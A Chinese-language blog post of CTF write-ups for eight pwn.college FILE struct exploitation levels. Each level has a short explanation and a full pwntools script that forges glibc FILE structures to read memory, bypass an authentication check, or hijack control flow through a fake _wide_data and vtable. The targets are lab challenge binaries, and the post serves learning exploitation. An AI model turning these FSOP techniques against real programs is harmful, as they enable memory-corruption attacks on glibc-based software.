1565 words
8 minutes
Write-ups: Software Exploitation (File Struct Exploits) series
2025-11-03
2025-11-09

前言#

Finally,花了五个月差不多把 pwn 学完了,至于剩下的内核什么的后期就当兴趣学了,应该不会变成我的主要研究方向,所以等学完这两章 FSOP 的内容我就去搞 IoT,也能想象明年开始将全力以赴打比赛,暗无天日的坐牢(

总之希望竞赛时期不要太长,最好能够一年退役,我可不想整个大学生活都在坐牢 LOL

Level 1#

Information#

  • Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read data.

Write-up#

最简单的一集。 chall 把 flag 读到 bss 了,并且没开 PIE,还给了任意写 FILE 结构体的能力,直接用 pwntools 秒了。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level1"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
flag = 0x4040E0
fp = FileStructure()
payload = flat(fp.write(flag, 0x64))
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()

Level 2#

Information#

  • Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily write data to bypass a security check.

Write-up#

验证变量,构造任意读即可。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level2"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
authenticated = 0x4041F8
fp = FileStructure()
payload = flat(fp.read(authenticated, 0x101))
target.success(fp)
target.send(payload)
target.sendline(b"A" * 0xFF)
target.interactive()
if __name__ == "__main__":
main()

Level 3#

Information#

  • Category: Pwn

Description#

Harness the power of FILE structs to redirect data output.

Write-up#

以后每题都那么简单就好了(

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level3"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.send(b"\x01")
target.interactive()
if __name__ == "__main__":
main()

Level 4#

Information#

  • Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.

Write-up#

越来越有趣了之,File Structure 的千层套路(

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level4"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"stored at: ")
ret = int(target.recvline().strip(), 16)
fp = FileStructure()
payload = flat(fp.read(ret, 0x101))
target.send(payload)
target.send(flat(elf.sym["win"]).ljust(0x101, b"\x00"))
target.interactive()
if __name__ == "__main__":
main()

Level 5#

Information#

  • Category: Pwn

Description#

Abuse built-in FILE structs to leak sensitive information.

Write-up#

能改 stdout 结构体,并且 puts 函数内部会使用 stdout 结构体中的指针来输出值,所以我们只要改掉 write 的几个指针,过一下检查,并且把 flag 设置为 0xfbad1800 就好了。

int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len
&& _IO_putc_unlocked ('\n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (stdout);
return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

0x1000 代表追加到当前 fileno 后面,0x0800 代表正在执行写入操作。

#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000

不过实际上我们也不用改那么多 write 指针,只要把最重要的 _IO_write_base 改掉就好了,剩下的使用残留值。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level5"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
flag = 0x4040C0
fp = FileStructure()
fp.flags = 0xFBAD1800
fp._IO_write_base = flag
fp._IO_write_ptr = flag + 0x64
fp._IO_write_end = flag + 0x64
payload = flat(fp.struntil("_IO_write_end"))
raw_input("DEBUG")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()

Level 6#

Information#

  • Category: Pwn

Description#

Abuse built-in FILE structs to bypass a security check.

Write-up#

上题是改 stdout 使 puts 任意写,这题是改 stdio 使 scanf 任意读。

scanf 的话只要设置 _IO_NO_WRITES 标志并设置 _IO_buf_base_IO_buf_end 就好了,和那几个 read 指针无关。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level6"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
authenticated = 0x4041F8
fp = FileStructure()
fp.flags = 0xFBAD0008
fp._IO_buf_base = authenticated
fp._IO_buf_end = authenticated + 0x8
payload = flat(fp.struntil("_IO_buf_end"))
raw_input("DEBUG")
target.send(payload)
target.sendlineafter(b"Please log in.", b"\x01")
target.interactive()
if __name__ == "__main__":
main()

Level 7#

Information#

  • Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

Write-up#

人生中第一道 vtable,也是灰常的简单呢 :D 一开始我看这 description 说是打 vtable 还感觉可能有点难,然非也哈哈哈。

这题就是折腾折腾几个指针而已,要点就是让调用 fwrite 时使用的 FILE structure 的 vtable + 0x38 处保存 __GI__IO_wfile_overflow 的地址,然后这个 __GI__IO_wfile_overflow 内部会调用 _IO_wdoallocbuf,这个函数内部又会调用传给 fwrite 的 FILE structure 的 _wide_data + 0x68 处的函数,我们伪造 _wide_data,令其 +0x68 处保存的是 win 函数地址即可。

一题打消第一次接触 vtable 的恐惧,开心。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level7"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"libc is: ")
libc = int(target.recvline().strip(), 16) - 0x84420
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"located at: ")
buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}")
target.success(f"buf: {hex(buf)}")
payload = flat(
{
0x68: elf.sym["win"],
0xE0: buf,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.sendafter(b"Please enter your name.\n", payload)
fp = FileStructure()
fp._lock = buf
fp._wide_data = buf
fp.vtable = __GI__IO_wfile_overflow
raw_input("DEBUG")
target.sendafter(
b"Now reading from stdin directly to the FILE struct.\n", bytes(fp)
)
target.interactive()
if __name__ == "__main__":
main()

Level 8#

Information#

  • Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

Write-up#

和上题差不多,结构体 overlapping 就好了。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level8"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"libc is: ")
libc = int(target.recvline().strip(), 16) - 0x84420
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"writing to: ")
buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}")
target.success(f"buf: {hex(buf)}")
fp = FileStructure()
fp._lock = buf
fp._wide_data = buf
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["win"]
payload = flat(
bytes(fp),
buf,
)
raw_input("DEBUG")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
Write-ups: Software Exploitation (File Struct Exploits) series
https://cubeyond.net/posts/write-ups/pwncollege-file-struct-exploits/
Author
CuB3y0nd
Published at
2025-11-03
License
CC BY-NC-SA 4.0